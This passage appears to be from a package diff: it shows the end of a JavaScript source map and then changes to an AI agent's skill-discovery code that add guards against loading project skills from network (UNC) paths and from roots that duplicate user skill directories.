${quoted}`);\n}\n"],"mappings":"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","names":["resolve","resolve"]}
@@ -1,6 +1,14 @@
1
1
  import {
2
2
  parseFrontmatter
3
3
  } from "./chunk-KXAYUIKP.js";
4
+ import {
5
+ isUserHome,
6
+ tryRealPath
7
+ } from "./chunk-SBTU5BEC.js";
8
+ import {
9
+ createUncGuard,
10
+ reachesUncPath
11
+ } from "./chunk-EEX6QNXV.js";
4
12
  import {
5
13
  resolveBookHome
6
14
  } from "./chunk-ZPSZZUWF.js";
@@ -49,15 +57,28 @@ var KNOWN_FRONTMATTER_FIELDS = /* @__PURE__ */ new Set([
49
57
  function pathKey(path) {
50
58
  return process.platform === "win32" ? resolve(path).toLowerCase() : resolve(path);
51
59
  }
60
+ function realRootPath(path) {
61
+ try {
62
+ const real = realpathSync.native(path);
63
+ return process.platform === "win32" ? real.toLowerCase() : real;
64
+ } catch {
65
+ return void 0;
66
+ }
67
+ }
52
68
  function isInside(root, candidate) {
53
69
  const rel = relative(root, candidate);
54
70
  return rel === "" || !rel.startsWith(`..${sep}`) && rel !== ".." && !isAbsolute(rel);
55
71
  }
56
- function projectRootFor(workspace) {
72
+ function projectRootFor(workspace, home, reachesUnc) {
73
+ if (reachesUnc(workspace)) return resolve(workspace);
57
74
  let current = resolve(workspace);
58
75
  const filesystemRoot = parse(current).root;
59
76
  while (true) {
60
- if (existsSync(join(current, ".git"))) return current;
77
+ const dotGit = join(current, ".git");
78
+ if (reachesUnc(dotGit)) return resolve(workspace);
79
+ if (existsSync(dotGit)) {
80
+ return isUserHome(tryRealPath(current) ?? current, home) ? resolve(workspace) : current;
81
+ }
61
82
  if (current === filesystemRoot) return resolve(workspace);
62
83
  current = dirname(current);
63
84
  }
@@ -75,7 +96,7 @@ function directoriesFromRoot(root, workspace) {
75
96
  }
76
97
  return directories.reverse();
77
98
  }
78
- function skillRoots(workspace, options = {}) {
99
+ function skillRoots(workspace, options = {}, reachesUnc = createUncGuard()) {
79
100
  const roots = [];
80
101
  if (options.includeUser !== false) {
81
102
  const home = options.homeDir ?? homedir();
@@ -93,7 +114,7 @@ function skillRoots(workspace, options = {}) {
93
114
  { path: join(bookHome, "skills"), source: "user", kind: "book" }
94
115
  );
95
116
  }
96
- const projectRoot = options.projectRoot ?? projectRootFor(workspace);
117
+ const projectRoot = options.projectRoot ?? projectRootFor(workspace, options.homeDir, reachesUnc);
97
118
  for (const directory of directoriesFromRoot(projectRoot, workspace)) {
98
119
  roots.push(
99
120
  { path: join(directory, ".claude", "skills"), source: "project", kind: "claude" },
@@ -108,8 +129,23 @@ function skillRoots(workspace, options = {}) {
108
129
  { path: join(directory, ".book", "skills"), source: "project", kind: "book" }
109
130
  );
110
131
  }
132
+ const userRealPaths = /* @__PURE__ */ new Set();
133
+ for (const root of roots) {
134
+ if (root.source !== "user") continue;
135
+ const real = realRootPath(root.path);
136
+ if (real) userRealPaths.add(real);
137
+ }
111
138
  const byPath = /* @__PURE__ */ new Map();
112
- for (const root of roots) byPath.set(pathKey(root.path), root);
139
+ for (const root of roots) {
140
+ const key = pathKey(root.path);
141
+ if (byPath.get(key)?.source === "user") continue;
142
+ if (root.source === "project" && reachesUnc(root.path)) continue;
143
+ if (root.source === "project" && userRealPaths.size > 0) {
144
+ const real = realRootPath(root.path);
145
+ if (real && userRealPaths.has(real)) continue;
146
+ }
147
+ byPath.set(key, root);
148
+ }
113
149
  return [...byPath.values()];
114
150
  }
115
151
  function readFrontmatterPrefix(path) {
@@ -421,7 +457,8 @@ function descriptorFromEntry(entryPath, root, directoryName, flat = false) {
421
457
  shadowed: []
422
458
  };
423
459
  }
424
- function skillsUnderRoot(root) {
460
+ function skillsUnderRoot(root, reachesUnc) {
461
+ const refused = (path) => root.source === "project" && reachesUnc(path);
425
462
  if (!existsSync(root.path)) return [];
426
463
  let entries;
427
464
  try {
@@ -440,6 +477,7 @@ function skillsUnderRoot(root) {
440
477
  }
441
478
  let directory = info.isDirectory();
442
479
  if (info.isSymbolicLink()) {
480
+ if (refused(fullPath)) continue;
443
481
  try {
444
482
  directory = statSync(fullPath).isDirectory();
445
483
  } catch {
@@ -448,7 +486,7 @@ function skillsUnderRoot(root) {
448
486
  }
449
487
  if (directory) {
450
488
  const entryPath = join(fullPath, SKILL_ENTRY_FILENAME);
451
- if (existsSync(entryPath) && statSync(entryPath).isFile()) {
489
+ if (!refused(entryPath) && existsSync(entryPath) && statSync(entryPath).isFile()) {
452
490
  skills.push(descriptorFromEntry(entryPath, root, entry));
453
491
  }
454
492
  } else if (info.isFile() && entry.endsWith(".skill.md")) {
@@ -459,8 +497,9 @@ function skillsUnderRoot(root) {
459
497
  }
460
498
  function discoverSkills(workspace, overrides = {}, options = {}) {
461
499
  const byName = /* @__PURE__ */ new Map();
462
- for (const root of skillRoots(workspace, options)) {
463
- for (const skill of skillsUnderRoot(root)) {
500
+ const reachesUnc = createUncGuard();
501
+ for (const root of skillRoots(workspace, options, reachesUnc)) {
502
+ for (const skill of skillsUnderRoot(root, reachesUnc)) {
464
503
  const previous = byName.get(skill.name);
465
504
  if (previous) {
466
505
  skill.shadowed = [
@@ -487,6 +526,9 @@ function applySkillOverrides(skills, overrides, executionOverrides = {}, enabled
487
526
  }
488
527
  function loadSkillBody(skill) {
489
528
  if (!skill.valid) throw new Error(`Skill "${skill.name}" is invalid.`);
529
+ if (skill.source === "project" && reachesUncPath(skill.path)) {
530
+ throw new Error(`Skill "${skill.name}" is on a network (UNC) path and is not loaded.`);
531
+ }
490
532
  const canonicalRoot = realpathSync(skill.rootPath);
491
533
  const canonicalEntry = realpathSync(skill.path);
492
534
  if (!isInside(canonicalRoot, canonicalEntry)) {
@@ -604,7 +646,7 @@ function generateSkillListing(skills, budgetChars = 8e3) {
604
646
  function explicitSkillMentions(prompt, skills) {
605
647
  const available = new Set(skills.map((skill) => skill.name));
606
648
  const mentions = [];
607
- const pattern = /(?<![A-Za-z0-9_-])\$([a-z0-9]+(?:-[a-z0-9]+)*)(?![A-Za-z0-9_-])/g;
649
+ const pattern = /(?<![A-Za-z0-9_\-/\\@.])\$([a-z0-9]+(?:-[a-z0-9]+)*)(?![A-Za-z0-9_-])/g;
608
650
  for (const match of prompt.matchAll(pattern)) {
609
651
  const name = match[1];
610
652
  if (available.has(name) && !mentions.includes(name)) mentions.push(name);
@@ -623,4 +665,4 @@ export {
623
665
  generateSkillListing,
624
666
  explicitSkillMentions
625
667
  };
626
- //# sourceMappingURL=chunk-67UZEWWF.js.map
668
+ //# sourceMappingURL=chunk-DNFQTSMJ.js.map